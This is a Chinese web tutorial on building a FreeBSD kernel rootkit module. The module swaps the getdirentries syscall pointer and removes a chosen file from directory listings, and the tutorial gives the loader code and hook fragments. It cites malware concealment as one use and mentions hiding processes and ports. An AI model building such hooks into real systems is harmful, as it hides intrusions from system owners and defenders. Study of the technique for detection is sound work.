您好,登錄后才能下訂單哦!
如何理解FreeBSD下的內(nèi)核級文件隱藏程序,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
這是一個在內(nèi)核里hook來隱藏文件的程序,可以在FreeBSD 11上使用。
很多情況下,我們會有這樣的需求,隱藏文件,隱藏端口,隱藏進(jìn)程等。
例如
某服務(wù)需要的關(guān)鍵性文件為了防止被攻擊,需要隱藏;
病毒為了躲避追殺,隱藏自己的文件、進(jìn)程。
這里,就如何隱藏文件,做一個簡單的hook。其它的需求,例如隱藏進(jìn)程等,思路相似,很容易就可以遷移使用。
單就實現(xiàn)方法來說,有兩種比較容易想到的思路:
這個東西可以做在用戶層,也可以做在內(nèi)核層。
共通的一點,都是使用hook的方法。
這個方法有一定的危險性,這里不作討論。
本文使用第一種方案,來達(dá)到隱藏文件的目的。
作為舉例,使用FreeBSD 11作為實現(xiàn)平臺。
如果你對FreeBSD不太熟悉,可以先看下我之前在FreeBuf寫的這篇文章。
一個FreeBSD下的通信協(xié)議監(jiān)控程序:http://www.freebuf.com/geek/179036.html:
首先,我們需要知道在系統(tǒng)內(nèi)核是怎樣處理文件列表請求的。
如果你在安裝FreeBSD時,安裝了FreeBSD源碼,那么這個函數(shù)在/usr/src/sys/kern/vfs_syscalls.c內(nèi)。
intsys_getdirentries(struct thread *td, struct getdirentries_args *uap){ long base; int error; error = kern_getdirentries(td, uap->fd, uap->buf, uap->count, &base, NULL, UIO_USERSPACE); if (error != 0) return (error); if (uap->basep != NULL) error = copyout(&base, uap->basep, sizeof(long)); return (error);}intkern_getdirentries(struct thread *td, int fd, char *buf, u_int count, long *basep, ssize_t *residp, enum uio_seg bufseg){ struct vnode *vp; struct file *fp; struct uio auio; struct iovec aiov; cap_rights_t rights; long loff; int error, eofflag; off_t foffset; AUDIT_ARG_FD(fd); if (count > IOSIZE_MAX) return (EINVAL); auio.uio_resid = count; error = getvnode(td, fd, cap_rights_init(&rights, CAP_READ), &fp); if (error != 0) return (error); if ((fp->f_flag & FREAD) == 0) { fdrop(fp, td); return (EBADF); } vp = fp->f_vnode; foffset = foffset_lock(fp, 0);unionread: if (vp->v_type != VDIR) { error = EINVAL; goto fail; } aiov.iov_base = buf; aiov.iov_len = count; auio.uio_iov = &aiov; auio.uio_iovcnt = 1; auio.uio_rw = UIO_READ; auio.uio_segflg = bufseg; auio.uio_td = td; vn_lock(vp, LK_SHARED | LK_RETRY); AUDIT_ARG_VNODE1(vp); loff = auio.uio_offset = foffset;#ifdef MAC error = mac_vnode_check_readdir(td->td_ucred, vp); if (error == 0)#endif error = VOP_READDIR(vp, &auio, fp->f_cred, &eofflag, NULL, NULL); foffset = auio.uio_offset; if (error != 0) { VOP_UNLOCK(vp, 0); goto fail; } if (count == auio.uio_resid && (vp->v_vflag & VV_ROOT) && (vp->v_mount->mnt_flag & MNT_UNION)) { struct vnode *tvp = vp; vp = vp->v_mount->mnt_vnodecovered; VREF(vp); fp->f_vnode = vp; fp->f_data = vp; foffset = 0; vput(tvp); goto unionread; } VOP_UNLOCK(vp, 0); *basep = loff; if (residp != NULL) *residp = auio.uio_resid; td->td_retval[0] = count - auio.uio_resid;fail: foffset_unlock(fp, foffset, 0); fdrop(fp, td); return (error);}
內(nèi)核在收到用戶層對某個fd的getdirentries請求時,調(diào)用kern_getdirentries()返回結(jié)果。
在kern_getdirentries()內(nèi),會尋找目標(biāo)fd的vnode,然后針對這個vnode,加鎖,復(fù)制列表到iovec。
如果全部介紹vnode和iovec的話,可能會比較耗費篇幅,這里簡單的說一下。
vnode可以簡單的理解成內(nèi)核在操作文件、目錄時使用的東西。
iovec則可以看作是操作緩存。
如果對這些感興趣的話,可以在FreeBSD內(nèi)核源碼中查看具體的實現(xiàn)。
那么,經(jīng)過以上步驟,入?yún)d的目錄信息就被復(fù)制到uap->buf內(nèi)了。
這個緩存實質(zhì)上是一系列的dirent的結(jié)構(gòu)體,如果需要隱藏某個文件,把dirent里的對應(yīng)內(nèi)容刪掉就可以了。
開始干活。
首先,定義一個和sys_getdirentries()一樣的函數(shù)。
static intgetdirentries_hook(struct thread *td, struct getdirentries_args *uap);
然后,寫一個載入內(nèi)核組建的載入函數(shù),在組件加載時替換函數(shù)指針,在卸載時還原。
static int load(struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD: sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook; break; case MOD_UNLOAD: sysent[SYS_getdirentries].sy_call = (sy_call_t *)sys_getdirentries; break; default: error = EOPNOTSUPP; break; } return(error); }
下面就可以設(shè)計這個hook函數(shù)了。
首先理清思路。
1. 使用原始的函數(shù),獲取輸出;
2. 檢查輸出list里是否含有隱藏的文件,有則將其刪除。
在之前的kern_getdirentries()可以看到,size是存在td->td_retval[0]內(nèi)的。
所以,步驟1的實現(xiàn)應(yīng)該是,獲取返回數(shù)據(jù),檢查是否真正存在數(shù)據(jù)。
sys_getdirentries(td, uap);size = td->td_retval[0];if (size > 0) { ...}
在確認(rèn)數(shù)據(jù)存在后,把uap->buf的數(shù)據(jù)放回內(nèi)核層,然后就可以讀取數(shù)據(jù)了。
那么進(jìn)行步驟2。
在讀取數(shù)據(jù)時,由于最后一個路徑是NULL,因此需要一個和size同樣值的緩存sum來計數(shù)。
假設(shè)在一開始指向?qū)嶋H數(shù)據(jù)區(qū)的dirent型指針為p,讀取數(shù)據(jù)的過程應(yīng)該是這樣。
loop_start:if ((p->d_reclen != 0) && (sum > 0)) { sum -= ct->d_reclen; ... if (sum != 0) { p = (struct dirent *)((char *)p + p->d_reclen); } goto loop_start;} loop_end: ...
接下來,假設(shè)需要隱藏的文件叫做rochek。
對比文件名,如果對比成功,覆蓋掉。
if (strcmp((char *)&(p->d_name), "rochek") == 0) { if (sum != 0) { bcopy((char *)p + p->d_reclen, p, sum); } size -= p->d_reclen; goto loop_end;}
最后,把緩存的size還給td->td_retval[0],再把數(shù)據(jù)復(fù)制回去,這個函數(shù)就完成了。
實際效果:
分別為rootkit未加載,rootkit加載后,rootkit卸載后查看test目錄的結(jié)果。
這樣,就完成了一個FreeBSD下內(nèi)核級的文件隱藏程序。
使用類似思路,可以做一些其它的事情,例如隱藏進(jìn)程、隱藏端口等,這里就不做過多的討論了。
實時上,這種隱藏很容易就可以使用更加專業(yè)的檢測工具,例如ossec檢測到。
至于如何反檢測,思路和隱藏文件的思路相似,這里不做過多的討論。
看完上述內(nèi)容,你們掌握如何理解FreeBSD下的內(nèi)核級文件隱藏程序的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。